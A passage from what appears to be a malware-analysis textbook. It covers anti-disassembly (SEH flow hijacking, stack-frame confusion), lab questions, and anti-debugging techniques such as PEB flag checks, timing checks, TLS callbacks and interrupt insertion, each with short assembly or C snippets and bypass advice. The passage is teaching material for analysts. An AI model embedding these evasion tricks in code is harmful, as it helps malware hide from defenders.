script technique described in “NOP-ing Out Instructions with IDA Pro” on 
page 340.
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Misusing Structured Exception Handlers
The Structured Exception Handling (SEH) mechanism provides a method 
of flow control that is unable to be followed by disassemblers and will fool 
debuggers. SEH is a feature of the x86 architecture and is intended to pro-
vide a way for the program to handle error conditions intelligently. Program-
ming languages such as C++ and Ada rely heavily on exception handling and 
translate naturally to SEH when compiled on x86 systems.

Before exploring how to harness SEH to obscure flow control, let’s 
look at a few basic concepts about how it operates. Exceptions can be trig-
gered for a number of reasons, such as access to an invalid memory region 
or dividing by zero. Additional software exceptions can be raised by calling 
the RaiseException function. 

The SEH chain is a list of functions designed to handle exceptions 
within the thread. Each function in the list can either handle the exception 
or pass it to the next handler in the list. If the exception makes it all the 
way to the last handler, then it is considered to be an unhandled exception. 
The last exception handler is the piece of code responsible for triggering 
the familiar message box that informs the user that “an unhandled excep-
tion has occurred.” Exceptions happen regularly in most processes, but are 
handled silently before they make it to this final state of crashing the pro-
cess and informing the user. 

To find the SEH chain, the OS examines the FS segment register. This 
register contains a segment selector that is used to gain access to the Thread 
Environment Block (TEB). The first structure within the TEB is the Thread 
Information Block (TIB). The first element of the TIB (and consequently 
the first bytes of the TEB) is a pointer to the SEH chain. The SEH chain is a 
simple linked list of 8-byte data structures called EXCEPTION_REGISTRATION records.

struct _EXCEPTION_REGISTRATION {
   DWORD prev;
   DWORD handler;
};

The first element in the EXCEPTION_REGISTRATION record points to the previ-
ous record. The second field is a pointer to the handler function. 

This linked list operates conceptually as a stack. The first record to be 
called is the last record to be added to the list. The SEH chain grows and 
shrinks as layers of exception handlers in a program change due to subrou-
tine calls and nested exception handler blocks. For this reason, SEH records 
are always built on the stack. 

In order to use SEH to achieve covert flow control, we need not concern 
ourselves with how many exception records are currently in the chain. We 
just need to understand how to add our own handler to the top of this list, as 
shown in Figure 15-6.
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Figure 15-6: Structured Exception Handling (SEH) chain

To add a record to this list, we need to construct a new record on the 
stack. Since the record structure is simply two DWORDs, we can do this with two 
push instructions. The stack grows upward, so the first push will be the pointer 
to the handler function, and the second push will be the pointer to the next 
record. We are trying to add a record to the top of the chain, so the next 
record in the chain when we finish will be what is currently the top, which 
is pointed to by fs:[0]. The following code performs this sequence.

push ExceptionHandler
push fs:[0]
mov fs:[0], esp

The ExceptionHandler function will be called first whenever an exception 
occurs. This action will be subject to the constraints imposed by Microsoft’s 
Software Data Execution Prevention (Software DEP, also known as SafeSEH).

Software DEP is a security feature that prevents the addition of third-
party exception handlers at runtime. For purposes of handwritten assembly 
code, there are several ways to work around this technology, such as using an 
assembler that has support for SafeSEH directives. Using Microsoft’s C compil-
ers, an author can add /SAFESEH:NO to the linker command line to disable this.

When the ExceptionHandler code is called, the stack will be drastically 
altered. Luckily, it is not essential for our purposes to fully examine all the 
data that is added to the stack at this point. We must simply understand how 
to return the stack to its original position prior to the exception. Remember 
that our goal is to obscure flow control and not to properly handle program 
exceptions.

The OS adds another SEH handler when our handler is called. To return 
the program to normal operation, we need to unlink not just our handler, 
but this handler as well. Therefore, we need to pull our original stack pointer 
from esp+8 instead of esp. 

mov esp, [esp+8]
mov eax, fs:[0]
mov eax, [eax]
mov eax, [eax]
mov fs:[0], eax
add esp, 8

FS:[0] prev Handler Functionhandler

prev handler

prev handler

prev handler

Handler Function 

Handler Function

Handler Function
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Let’s bring all this knowledge back to our original goal of obscuring flow 
control. The following fragment contains a piece of code from a Visual C++ 
binary that covertly transfers flow to a subroutine. Since there is no pointer 
to this function and the disassembler doesn’t understand SEH, it appears as 
though the subroutine has no references, and the disassembler thinks the 
code immediately following the triggering of the exception will be executed.

00401050               mov     eax, (offset loc_40106B+1)
00401055                 add     eax, 14h
00401058                 push    eax
00401059                 push    large dword ptr fs:0 ; dwMilliseconds
00401060                 mov     large fs:0, esp
00401067                 xor     ecx, ecx
00401069               div     ecx
0040106B
0040106B loc_40106B:                             ; DATA XREF: sub_401050o
0040106B                 call    near ptr Sleep
00401070                 retn
00401070 sub_401050      endp ; sp-analysis failed
00401070
00401070 ; ------------------------------------------------------------------
00401071                 align 10h
00401080               dd 824648Bh, 0A164h, 8B0000h, 0A364008Bh, 0
00401094                 dd 6808C483h
00401098                 dd offset aMysteryCode  ; "Mystery Code"
0040109C                 dd 2DE8h, 4C48300h, 3 dup(0CCCCCCCCh)

In this example, IDA Pro has not only missed the fact that the subroutine 
at location 401080  was not called, but it also failed to even disassemble this 
function. This code sets up an exception handler covertly by first setting 
the register EAX to the value 40106C , and then adding 14h to it to build a 
pointer to the function 401080. A divide-by-zero exception is triggered by 
setting ECX to zero with xor ecx, ecx followed by div ecx at , which divides 
the EAX register by ECX.

Let’s use the C key in IDA Pro to turn the data at location 401080 into 
code and see what was hidden using this trick.

00401080                 mov     esp, [esp+8]
00401084                 mov     eax, large fs:0
0040108A                 mov     eax, [eax]
0040108C                 mov     eax, [eax]
0040108E                 mov     large fs:0, eax
00401094                 add     esp, 8
00401097                 push    offset aMysteryCode ; "Mystery Code"
0040109C                 call    printf
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Thwarting Stack-Frame Analysis

Advanced disassemblers can analyze the instructions in a function to deduce 
the construction of its stack frame, which allows them to display the local vari-
ables and parameters relevant to the function. This information is extremely 
valuable to a malware analyst, as it allows for the analysis of a single function 
at one time, and enables the analyst to better understand its inputs, outputs, 
and construction.

However, analyzing a function to determine the construction of its stack 
frame is not an exact science. As with many other facets of disassembly, the 
algorithms used to determine the construction of the stack frame must make 
certain assumptions and guesses that are reasonable but can usually be 
exploited by a knowledgeable malware author. 

Defeating stack-frame analysis will also prevent the operation of certain 
analytical techniques, most notably the Hex-Rays Decompiler plug-in for IDA 
Pro, which produces C-like pseudocode for a function. 

Let’s begin by examining a function that has been armored to defeat 
stack-frame analysis.

00401543     sub_401543      proc near           ; CODE XREF: sub_4012D0+3Cp
00401543                                         ; sub_401328+9Bp
00401543
00401543     arg_F4          = dword ptr  0F8h
00401543     arg_F8          = dword ptr  0FCh
00401543
00401543 000                 sub     esp, 8
00401546 008                 sub     esp, 4
00401549 00C                 cmp     esp, 1000h
0040154F 00C                 jl      short loc_401556
00401551 00C                 add     esp, 4
00401554 008                 jmp     short loc_40155C
00401556     ; --------------------------------------------------------------
00401556
00401556     loc_401556:                        ; CODE XREF: sub_401543+Cj
00401556 00C                 add     esp, 104h
0040155C
0040155C     loc_40155C:                        ; CODE XREF: sub_401543+11j
0040155C -F8 mov     [esp-0F8h+arg_F8], 1E61h
00401564 -F8                 lea     eax, [esp-0F8h+arg_F8]
00401568 -F8                 mov     [esp-0F8h+arg_F4], eax
0040156B -F8                 mov     edx, [esp-0F8h+arg_F4]
0040156E -F8                 mov     eax, [esp-0F8h+arg_F8]
00401572 -F8                 inc     eax
00401573 -F8                 mov     [edx], eax
00401575 -F8                 mov     eax, [esp-0F8h+arg_F4]
00401578 -F8                 mov     eax, [eax]
0040157A -F8                 add     esp, 8
0040157D -100                retn
0040157D     sub_401543      endp ; sp-analysis failed

Listing 15-1: A function that defeats stack-frame analysis
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Stack-frame anti-analysis techniques depend heavily on the compiler 
used. Of course, if the malware is entirely written in assembly, then the 
author is free to use more unorthodox techniques. However, if the malware 
is crafted with a higher-level language such as C or C++, special care must 
be taken to output code that can be manipulated. 

In Listing 15-1, the column on the far left is the standard IDA Pro line 
prefix, which contains the segment name and memory address for each 
function. The next column to the right displays the stack pointer. For each 

instruction, the stack pointer column shows the value of the ESP register rel-
ative to where it was at the beginning of the function. This view shows that 
this function is an ESP-based stack frame rather than an EBP-based one, 
like most functions. (This stack pointer column can be enabled in IDA Pro 
through the Options menu.)

At , the stack pointer begins to be shown as a negative number. This 
should never happen for an ordinary function because it means that this 
function could damage the calling function’s stack frame. In this listing, IDA 
Pro is also telling us that it thinks this function takes 62 arguments, of which 
it thinks 2 are actually being used. 

NOTE Press CTRL-K in IDA Pro to examine this monstrous stack frame in detail. If you 
attempt to press Y to give this function a prototype, you’ll be presented with one of 
the most ghastly abominations of a function prototype you’ve ever seen.

As you may have guessed, this function doesn’t actually take 62 argu-
ments. In reality, it takes no arguments and has two local variables. The code 
responsible for breaking IDA Pro’s analysis lies near the beginning of the 
function, between locations 00401546 and 0040155C. It’s a simple compari-
son with two branches. 

The ESP register is being compared against the value 0x1000. If it is less 
than 0x1000, then it executes the code at 00401556; otherwise, it executes the 
code at 00401551. Each branch adds some value to ESP—0x104 on the “less-
than” branch and 4 on the “greater-than-or-equal-to” branch. From a disas-
sembler’s perspective, there are two possible values of the stack pointer offset 
at this point, depending on which branch has been taken. The disassembler 
is forced to make a choice, and luckily for the malware author, it is tricked 
into making the wrong choice. 

Earlier, we discussed conditional branch instructions, which were not 
conditional at all because they exist where the condition is constant, such as 
a jz instruction immediately following an xor eax, eax instruction. Innovative 
disassembler authors could code special semantics in their algorithm to track 
such guaranteed flag states and detect the presence of such fake conditional 
branches. The code would be useful in many scenarios and would be very 
straightforward, though cumbersome, to implement. 

In Listing 15-1, the instruction cmp esp, 1000h will always produce a fixed 
result. An experienced malware analyst might recognize that the lowest 
memory page in a Windows process would not be used as a stack, and thus 
this comparison is virtually guaranteed to always result in the “greater-than-
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or-equal-to” branch being executed. The disassembly program doesn’t have 
this level of intuition. Its job is to show you the instructions. It’s not designed 
to evaluate every decision in the code against a set of real-world scenarios. 

The crux of the problem is that the disassembler assumed that the add 
esp, 104h instruction was valid and relevant, and adjusted its interpretation of 
the stack accordingly. The add esp, 4 instruction in the greater-than-or-equal-
to branch was there solely to readjust the stack after the sub esp, 4 instruction 
that came before the comparison. The net result in real time is that the ESP 
value will be identical to what it was prior to the beginning of the sequence at 
address 00401546. 

To overcome minor adjustments to the stack frame (which occur occa-
sionally due to the inherently fallible nature of stack-frame analysis), in IDA 
Pro, you can put the cursor on a particular line of disassembly and press 
ALT-K to enter an adjustment to the stack pointer. In many cases, such as in 
Listing 15-1, it may prove more fruitful to patch the stack-frame manipula-
tion instructions, as in the previous examples.

Conclusion

Anti-disassembly is not confined to the techniques discussed in this chapter. 
It is a class of techniques that takes advantage of the inherent difficulties in 
analysis. Advanced programs such as modern disassemblers do an excellent 
job of determining which instructions constitute a program, but they still 
require assumptions and choices to be made in the process. For each choice 
or assumption that can be made by a disassembler, there may be a corre-
sponding anti-disassembly technique. 

This chapter showed how disassemblers work and how linear and flow-
oriented disassembly strategies differ. Anti-disassembly is more difficult with 
a flow-oriented disassembler but still quite possible, once you understand 
that the disassembler is making certain assumptions about where the code 
will execute. Many anti-disassembly techniques used against flow-oriented 
disassemblers operate by crafting conditional flow-control instructions for 
which the condition is always the same at runtime but unknown by the disas-
sembler.

Obscuring flow control is a way that malware can cause the malware ana-
lyst to overlook portions of code or hide a function’s purpose by obscuring 
its relation to other functions and system calls. We examined several ways to 
accomplish this, ranging from using the ret instruction to using SEH han-
dlers as a general-purpose jump.

The goal of this chapter was to help you understand code from a tactical 
perspective. You learned how these types of techniques work, why they are 
useful, and how to defeat them when you encounter them in the field. More 
techniques are waiting to be discovered and invented. With this solid founda-
tion, you will be more than prepared to wage war in the anti-disassembly 
battlefield of the future.
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L A B S
Lab 15-1

Analyze the sample found in the file Lab15-01.exe. This is a command-line 
program that takes an argument and prints “Good Job!” if the argument 
matches a secret code.

Questions

1. What anti-disassembly technique is used in this binary?

2. What rogue opcode is the disassembly tricked into disassembling?

3. How many times is this technique used?

4. What command-line argument will cause the program to print 
“Good Job!”?

Lab 15-2

Analyze the malware found in the file Lab15-02.exe. Correct all anti-disassembly 
countermeasures before analyzing the binary in order to answer the questions.

Questions

1. What URL is initially requested by the program?

2. How is the User-Agent generated?

3. What does the program look for in the page it initially requests?

4. What does the program do with the information it extracts from 
the page?

Lab 15-3

Analyze the malware found in the file Lab15-03.exe. At first glance, this binary 
appears to be a legitimate tool, but it actually contains more functionality 
than advertised. 

Questions

1. How is the malicious code initially called?

2. What does the malicious code do?

3. What URL does the malware use?

4. What filename does the malware use?
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A N T I - D E B U G G I N G

Anti-debugging is a popular anti-analysis technique used 
by malware to recognize when it is under the control 
of a debugger or to thwart debuggers. Malware authors 
know that malware analysts use debuggers to figure out 
how malware operates, and the authors use anti-debugging techniques in an 
attempt to slow down the analyst as much as possible. Once malware realizes 
that it is running in a debugger, it may alter its normal code execution path 
or modify the code to cause a crash, thus interfering with the analysts’ attempts 
to understand it, and adding time and additional overhead to their efforts.

There are many anti-debugging techniques—perhaps hundreds of them—
and we’ll discuss only the most popular ones that we have encountered in the 
real world. We will present ways to bypass anti-debugging techniques, but our 
overall goal in this chapter (besides introducing you to specific techniques) 
is to help you to develop the skills that you’ll need to overcome new and pre-
viously unknown anti-debugging methods during analysis.



Windows Debugger Detection

Malware uses a variety of techniques to scan for indications that a debugger 
is attached, including using the Windows API, manually checking memory 
structure for debugging artifacts, and searching the system for residue left by 
a debugger. Debugger detection is the most common way that malware per-
forms anti-debugging.

Using the Windows API
The use of Windows API functions is the most obvious of the anti-debugging 
techniques. The Windows API provides several functions that can be used by 
a program to determine if it is being debugged. Some of these functions 
were designed for debugger detection; others were designed for different 
purposes but can be repurposed to detect a debugger. A few of these func-
tions use functionality not documented in the API.

Typically, the easiest way to overcome a call to an anti-debugging API 
function is to manually modify the malware during execution to not call 
these functions or to modify the flag’s post call to ensure that the proper 
path is taken. A more difficult option would be to hook these functions, as 
with a rootkit.

The following Windows API functions can be used for anti-debugging:

IsDebuggerPresent
The simplest API function for detecting a debugger is IsDebuggerPresent. 
This function searches the Process Environment Block (PEB) structure 
for the field IsDebugged, which will return zero if you are not running in 
the context of a debugger or a nonzero value if a debugger is attached. 
We’ll discuss the PEB structure in more detail in the next section.

CheckRemoteDebuggerPresent
This API function is nearly identical to IsDebuggerPresent. The name is 
misleading though, as it does not check for a debugger on a remote 
machine, but rather for a process on the local machine. It also checks 
the PEB structure for the IsDebugged field; however, it can do so for itself 
or another process on the local machine. This function takes a process 
handle as a parameter and will check if that process has a debugger 
attached. CheckRemoteDebuggerPresent can be used to check your own 
process by simply passing a handle to your process.

NtQueryInformationProcess
This is a native API function in Ntdll.dll that retrieves information about 
a given process. The first parameter to this function is a process handle; 
the second is used to tell the function the type of process information to 
be retrieved. For example, using the value ProcessDebugPort (value 0x7) 
for this parameter will tell you if the process in question is currently 
being debugged. If the process is not being debugged, a zero will be 
returned; otherwise, a port number will be returned.
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OutputDebugString

This function is used to send a string to a debugger for display. It can 
be used to detect the presence of a debugger. For example, Listing 16-1 
uses SetLastError to set the current error code to an arbitrary value. If 
OutputDebugString is called and there is no debugger attached, GetLastError 
should no longer contain our arbitrary value, because an error code will 
be set by the OutputDebugString function if it fails. If OutputDebugString is 
called and there is a debugger attached, the call to OutputDebugString 
should succeed, and the value in GetLastError should not be changed.

DWORD errorValue = 12345;
SetLastError(errorValue);

OutputDebugString("Test for Debugger");

if(GetLastError() == errorValue)
{
  ExitProcess();
}
else
{
  RunMaliciousPayload();
}

Listing 16-1: OutputDebugString anti-debugging technique

Manually Checking Structures
Using the Windows API may be the most obvious method for detecting the 
presence of a debugger, but manually checking structures is the most com-
mon method used by malware authors. There are many reasons why malware 
authors are discouraged from using the Windows API for anti-debugging. 
For example, the API calls could be hooked by a rootkit to return false infor-
mation. Therefore, malware authors often choose to perform the functional 
equivalent of the API call manually, rather than rely on the Windows API.

In performing manual checks, several flags within the PEB structure pro-
vide information about the presence of a debugger. Here, we’ll look at some 
of the commonly used flags for checking for a debugger.

Checking the BeingDebugged Flag

A Windows PEB structure is maintained by the OS for each running process, 
as shown in the example in Listing 16-2. It contains all user-mode parameters 
associated with a process. These parameters include the process’s environ-
ment data, which itself includes environment variables, the loaded modules 
list, addresses in memory, and debugger status.

typedef struct _PEB {
  BYTE Reserved1[2];
  BYTE BeingDebugged;
Ant i -Debugging 353



  BYTE Reserved2[1];
  PVOID Reserved3[2];
  PPEB_LDR_DATA Ldr;
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
  BYTE Reserved4[104];
  PVOID Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE Reserved6[128];
  PVOID Reserved7[1];
  ULONG SessionId;
} PEB, *PPEB;

Listing 16-2: Documented Process Environment Block (PEB) structure

While a process is running, the location of the PEB can be referenced by 
the location fs:[30h]. For anti-debugging, malware will use that location to 
check the BeingDebugged flag, which indicates whether the specified process is 
being debugged. Table 16-1 shows two examples of this type of check.

In the code on the left in Table 16-1, the location of the PEB is moved 
into EAX. Next, this offset plus 2 is moved into EBX, which corresponds to 
the offset into the PEB of the location of the BeingDebugged flag. Finally, EBX 
is checked to see if it is zero. If so, a debugger is not attached, and the jump 
will be taken.

Another example is shown on the right side of Table 16-1. The location 
of the PEB is moved into EDX using a push/pop combination of instruc-
tions, and then the BeingDebugged flag at offset 2 is directly compared to 1.

This check can take many forms, and, ultimately, the conditional jump 
determines the code path. You can take one of the following approaches to 
surmount this problem:

 Force the jump to be taken (or not) by manually modifying the zero flag 
immediately before the jump instruction is executed. This is the easiest 
approach.

 Manually change the BeingDebugged flag to zero.

Both options are generally effective against all of the techniques 
described in this section.

NOTE A number of OllyDbg plug-ins change the BeingDebugged flag for you. The most popu-
lar are Hide Debugger, Hidedebug, and PhantOm. All are useful for overcoming the 
BeingDebugged flag check and also help with many of the other techniques we discuss in 
this chapter.

Table 16-1: Manually Checking the BeingDebugged Flag

mov method push/pop method

mov eax, dword ptr fs:[30h]
mov ebx, byte ptr [eax+2]
test ebx, ebx
jz NoDebuggerDetected

push dword ptr fs:[30h]
pop edx
cmp byte ptr [edx+2], 1
je DebuggerDetected
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Checking the ProcessHeap Flag

An undocumented location within the Reserved4 array (shown in Listing 16-2), 
known as ProcessHeap, is set to the location of a process’s first heap allocated 
by the loader. ProcessHeap is located at 0x18 in the PEB structure. This first 
heap contains a header with fields used to tell the kernel whether the heap 
was created within a debugger. These are known as the ForceFlags and Flags 
fields.

Offset 0x10 in the heap header is the ForceFlags field on Windows XP, 
but for Windows 7, it is at offset 0x44 for 32-bit applications. Malware may 
also look at offset 0x0C on Windows XP or offset 0x40 on Windows 7 for the 
Flags field. This field is almost always equal to the ForceFlags field, but is usu-
ally ORed with the value 2.

Listing 16-3 shows the assembly code for this technique. (Note that two 
separate dereferences must occur.)

mov eax, large fs:30h
mov eax, dword ptr [eax+18h]
cmp dword ptr ds:[eax+10h], 0
jne DebuggerDetected

Listing 16-3: Manual ProcessHeap flag check

The best way to overcome this technique is to change the ProcessHeap 
flag manually or to use a hide-debug plug-in for your debugger. If you are 
using WinDbg, you can start the program with the debug heap disabled. For 
example, the command windbg –hd notepad.exe will start the heap in normal 
mode as opposed to debug mode, and the flags we’ve discussed won’t be set.

Checking NTGlobalFlag

Since processes run slightly differently when started with a debugger, they 
create memory heaps differently. The information that the system uses to 
determine how to create heap structures is stored at an undocumented loca-
tion in the PEB at offset 0x68. If the value at this location is 0x70, we know 
that we are running in a debugger.

The value of 0x70 is a combination of the following flags when a heap is 
created by a debugger. These flags are set for the process if it is started from 
within a debugger.

(FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)

Listing 16-4 shows the assembly code for performing this check.

mov eax, large fs:30h
cmp dword ptr ds:[eax+68h], 70h
jz DebuggerDetected

Listing 16-4: NTGlobalFlag check
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The easiest way to overcome this technique is to change the flags manu-
ally or with a hide-debug plug-in for your debugger. If you are using WinDbg, 
you can start the program with the debug heap option disabled, as men-
tioned in the previous section.

Checking for System Residue
When analyzing malware, we typically use debugging tools, which leave resi-
due on the system. Malware can search for this residue in order to determine 
when you are attempting to analyze it, such as by searching registry keys for 
references to debuggers. The following is a common location for a debugger:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

This registry key specifies the debugger that activates when an application 
error occurs. By default, this is set to Dr. Watson, so if it is changed to some-
thing like OllyDbg, malware may determine that it is under a microscope.

Malware can also search the system for files and directories, such as 
common debugger program executables, which are typically present dur-
ing malware analysis. (Many backdoors already have code in place to tra-
verse filesystems.) Or the malware can detect residue in live memory, by 
viewing the current process listing or, more commonly, by performing a 
FindWindow in search of a debugger, as shown in Listing 16-5.

if(FindWindow("OLLYDBG", 0) == NULL)
{
//Debugger Not Found
}
else
{
//Debugger Detected
}

Listing 16-5: C code for FindWindow detection

In this example, the code simply looks for a window named OLLYDBG.

Identifying Debugger Behavior

Recall that debuggers can be used to set breakpoints or to single-step through 
a process in order to aid the malware analyst in reverse-engineering. How-
ever, when these operations are performed in a debugger, they modify the 
code in the process. Several anti-debugging techniques are used by malware 
to detect this sort of debugger behavior: INT scanning, checksum checks, 
and timing checks.
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INT Scanning
INT 3 is the software interrupt used by debuggers to temporarily replace an 
instruction in a running program and to call the debug exception handler—
a basic mechanism to set a breakpoint. The opcode for INT 3 is 0xCC. When-
ever you use a debugger to set a breakpoint, it modifies the code by inserting 
a 0xCC.

In addition to the specific INT 3 instruction, an INT immediate can set any 
interrupt, including 3 (immediate can be a register, such as EAX). The INT 
immediate instruction uses two opcodes: 0xCD value. This 2-byte opcode is less 
commonly used by debuggers.

One common anti-debugging technique has a process scan its own code 
for an INT 3 modification by searching the code for the 0xCC opcode, as shown 
in Listing 16-6.

call $+5
pop edi
sub edi, 5
mov ecx, 400h
mov eax, 0CCh
repne scasb
jz DebuggerDetected

Listing 16-6: Scanning code for breakpoints

This code begins with a call, followed by a pop that puts EIP into EDI. 
EDI is then adjusted to the start of the code. The code is then scanned for 
0xCC bytes. If a 0xCC byte is found, it knows that a debugger is present. This 
technique can be overcome by using hardware breakpoints instead of soft-
ware breakpoints.

Performing Code Checksums
Malware can calculate a checksum on a section of its code to accomplish the 
same goal as scanning for interrupts. Instead of scanning for 0xCC, this check 
simply performs a cyclic redundancy check (CRC) or a MD5 checksum of the 
opcodes in the malware.

This technique is less common than scanning, but it’s equally effective. 
Look for the malware to be iterating over its internal instructions followed by 
a comparison to an expected value.

This technique can be overcome by using hardware breakpoints or by 
manually modifying the execution path with the debugger at runtime.

Timing Checks
Timing checks are one of the most popular ways for malware to detect 
debuggers because processes run more slowly when being debugged. For 
example, single-stepping through a program substantially slows execution 
speed.
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There are a couple of ways to use timing checks to detect a debugger:

 Record a timestamp, perform a couple of operations, take another time-
stamp, and then compare the two timestamps. If there is a lag, you can 
assume the presence of a debugger.

 Take a timestamp before and after raising an exception. If a process is not 
being debugged, the exception will be handled really quickly; a debugger 
will handle the exception much more slowly. By default, most debuggers 
require human intervention in order to handle exceptions, which causes 
enormous delay. While many debuggers allow you to ignore exceptions 
and pass them to the program, there will still be a sizable delay in such 
cases.

Using the rdtsc Instruction

The most common timing check method uses the rdtsc instruction (opcode 
0x0F31), which returns the count of the number of ticks since the last system 
reboot as a 64-bit value placed into EDX:EAX. Malware will simply execute 
this instruction twice and compare the difference between the two readings.

Listing 16-7 shows a real malware sample using the rdtsc technique.

rdtsc
xor ecx, ecx
add ecx, eax
rdtsc
sub eax, ecx
cmp eax, 0xFFF 
jb NoDebuggerDetected
rdtsc
push eax 
ret

Listing 16-7: The rdtsc timing technique

The malware checks to see if the difference between the two calls to rdtsc 
is greater than 0xFFF at , and if too much time has elapsed, the conditional 
jump will not be taken. If the jump is not taken, rdtsc is called again, and the 
result is pushed onto the stack at , which will cause the return to take the 
execution to a random location.

Using QueryPerformanceCounter and GetTickCount

Two Windows API functions are used like rdtsc in order to perform an anti-
debugging timing check. This method relies on the fact that processors have 
high-resolution performance counters—registers that store counts of activi-
ties performed in the processor. QueryPerformanceCounter can be called to query 
this counter twice in order to get a time difference for use in a comparison. 
If too much time has passed between the two calls, the assumption is that a 
debugger is being used.
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The function GetTickCount returns the number of milliseconds that have 
elapsed since the last system reboot. (Due to the size allocated for this coun-
ter, it rolls over after 49.7 days.) An example of GetTickCount in practice is 
shown in Listing 16-8.

a = GetTickCount();
MaliciousActivityFunction();
b = GetTickCount();

delta = b-a;
if ((delta) > 0x1A)
{
//Debugger Detected
} 
else 
{
//Debugger Not Found
}

Listing 16-8: GetTickCount timing technique

All of the timing attacks we’ve discussed can be found during debugging 
or static analysis by identifying two successive calls to these functions followed 
by a comparison. These checks should catch a debugger only if you are single-
stepping or setting breakpoints between the two calls used to capture the 
time delta. Therefore, the easiest way to avoid detection by timing is to run 
through these checks and set a breakpoint just after them, and then start 
your single-stepping again. If that is not an option, simply modify the result 
of the comparison to force the jump that you want to be taken.

Interfering with Debugger Functionality

Malware can use several techniques to interfere with normal debugger oper-
ation: thread local storage (TLS) callbacks, exceptions, and interrupt inser-
tion. These techniques try to disrupt the program’s execution only if it is 
under the control of a debugger.

Using TLS Callbacks
You might think that when you load a program into a debugger, it will 
pause at the first instruction the program executes, but this is not always the 
case. Most debuggers start at the program’s entry point as defined by the PE 
header. A TLS callback can be used to execute code before the entry point 
and therefore execute secretly in a debugger. If you rely only on the use of a 
debugger, you could miss certain malware functionality, as the TLS callback 
can run as soon as it is loaded into the debugger.

TLS is a Windows storage class in which a data object is not an automatic 
stack variable, yet is local to each thread that runs the code. Basically, TLS 
allows each thread to maintain a different value for a variable declared using 
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TLS. When TLS is implemented by an executable, the code will typically con-
tain a .tls section in the PE header, as shown in Figure 16-1. TLS supports 
callback functions for initialization and termination of TLS data objects. 
Windows executes these functions before running code at the normal start 
of a program.

Figure 16-1: TLS callback example—a TLS table in PEview

TLS callbacks can be discovered by viewing the .tls section using PEview. 
You should immediately suspect anti-debugging if you see a .tls section, as 
normal programs typically do not use this section.

Analysis of TLS callbacks is easy with IDA Pro. Once IDA Pro has finished 
its analysis, you can view the entry points for a binary by pressing CTRL-E to 
display all entry points to the program, including TLS callbacks, as shown 
in Figure 16-2. All TLS callback functions have their labels prepended with 
TlsCallback. You can browse to the callback function in IDA Pro by double-
clicking the function name.

Figure 16-2: Viewing a TLS callback function in IDA Pro 
(press CTRL-E to display)
360 Chapter 16



TLS callbacks can be handled within a debugger, though sometimes 
debuggers will run the TLS callback before breaking at the initial entry 
point. To avoid this problem, change the debugger’s settings. For example, 
if you’re using OllyDbg, you can have it pause before the TLS callback by 
selecting OptionsDebugging OptionsEvents and setting System break-
point as the place for the first pause, as shown in Figure 16-3.

NOTE OllyDbg 2.0 has more breaking capabilities than version 1.1; for example, it can pause 
at the start of a TLS callback. Also, WinDbg always breaks at the system breakpoint 
before the TLS callbacks.

Figure 16-3: OllyDbg first pause options

Because TLS callbacks are well known, malware uses them less frequently 
than in the past. Not many legitimate applications use TLS callbacks, so a 
.tls section in an executable can stand out.

Using Exceptions
As discussed earlier, interrupts generate exceptions that are used by the debug-
ger to perform operations like breakpoints. In Chapter 15, you learned how to 
set up an SEH to achieve an unconventional jump. The modification of the 
SEH chain applies to both anti-disassembly and anti-debugging. In this sec-
tion, we will skip the SEH specifics (since they were addressed in Chapter 15) 
and focus on other ways that exceptions can be used to hamper the malware 
analyst.

Exceptions can be used to disrupt or detect a debugger. Most exception-
based detection relies on the fact that debuggers will trap the exception and 
not immediately pass it to the process being debugged for handling. The 
default setting on most debuggers is to trap exceptions and not pass them 
to the program. If the debugger doesn’t pass the exception to the process 
properly, that failure can be detected within the process exception-handling 
mechanism.
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Figure 16-4 shows OllyDbg’s default settings; all exceptions will be trapped 
unless the box is checked. These options are accessed via OptionsDebugging 
OptionsExceptions.

Figure 16-4: Ollydbg exception processing options

NOTE When performing malware analysis, we recommend setting the debugging options to 
pass all of the exceptions to the program.

Inserting Interrupts
A classic form of anti-debugging is to use exceptions to annoy the analyst and 
disrupt normal program execution by inserting interrupts in the middle of a 
valid instruction sequence. Depending on the debugger settings, these inser-
tions could cause the debugger to stop, since it is the same mechanism the 
debugger itself uses to set software breakpoints.

Inserting INT 3

Because INT 3 is used by debuggers to set software breakpoints, one anti-
debugging technique consists of inserting 0xCC opcodes into valid sections 
of code in order to trick the debugger into thinking that the opcodes are its 
breakpoints. Some debuggers track where they set software breakpoints in 
order to avoid falling for this trick.

The 2-byte opcode sequence 0xCD03 can also be used to generate an INT 3, 
and this is often a valid way for malware to interfere with WinDbg. Outside a 
debugger, 0xCD03 generates a STATUS_BREAKPOINT exception. However, inside 
WinDbg, it catches the breakpoint and then silently advances EIP by exactly 
1 byte, since a breakpoint is normally the 0xCC opcode. This can cause the 
program to execute a different set of instructions when being debugged by 
WinDbg versus running normally. (OllyDbg is not vulnerable to interference 
using this 2-byte INT 3 attack.)
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Listing 16-9 shows assembly code that implements this technique. This 
example sets a new SEH and then calls INT 3 to force the code to continue.

push offset continue
push dword fs:[0] 
mov fs:[0], esp 
int 3
//being debugged
continue: 
//not being debugged 

Listing 16-9: INT 3 technique

Inserting INT 2D

The INT 2D anti-debugging technique functions like INT 3—the INT 0x2D instruc-
tion is used to access the kernel debugger. Because INT 0x2D is the way that ker-
nel debuggers set breakpoints, the method shown in Listing 16-10 applies.

Inserting ICE

One of Intel’s undocumented instructions is the In-Circuit Emulator (ICE) 
breakpoint, icebp (opcode 0xF1). This instruction is designed to make it eas-
ier to debug using an ICE, because it is difficult to set an arbitrary breakpoint 
with an ICE.

Executing this instruction generates a single-step exception. If the pro-
gram is being traced via single-stepping, the debugger will think it is the nor-
mal exception generated by the single-step and not execute a previously set 
exception handler. Malware can take advantage of this by using the exception 
handler for its normal execution flow, which would be disrupted in this case.

In order to bypass this technique, do not single-step over an icebp 
instruction. 

Debugger Vulnerabilities

Like all software, debuggers contain vulnerabilities, and sometimes malware 
authors attack them in order to prevent debugging. Here, we present several 
popular vulnerabilities in the way OllyDbg handles the PE format.

PE Header Vulnerabilities
The first technique modifies the Microsoft PE header of a binary executable, 
causing OllyDbg to crash when loading the executable. The result is an error 
of “Bad or Unknown 32-bit Executable File,” yet the program usually runs 
fine outside the debugger.

This issue is due to the fact that OllyDbg follows the Microsoft specifica-
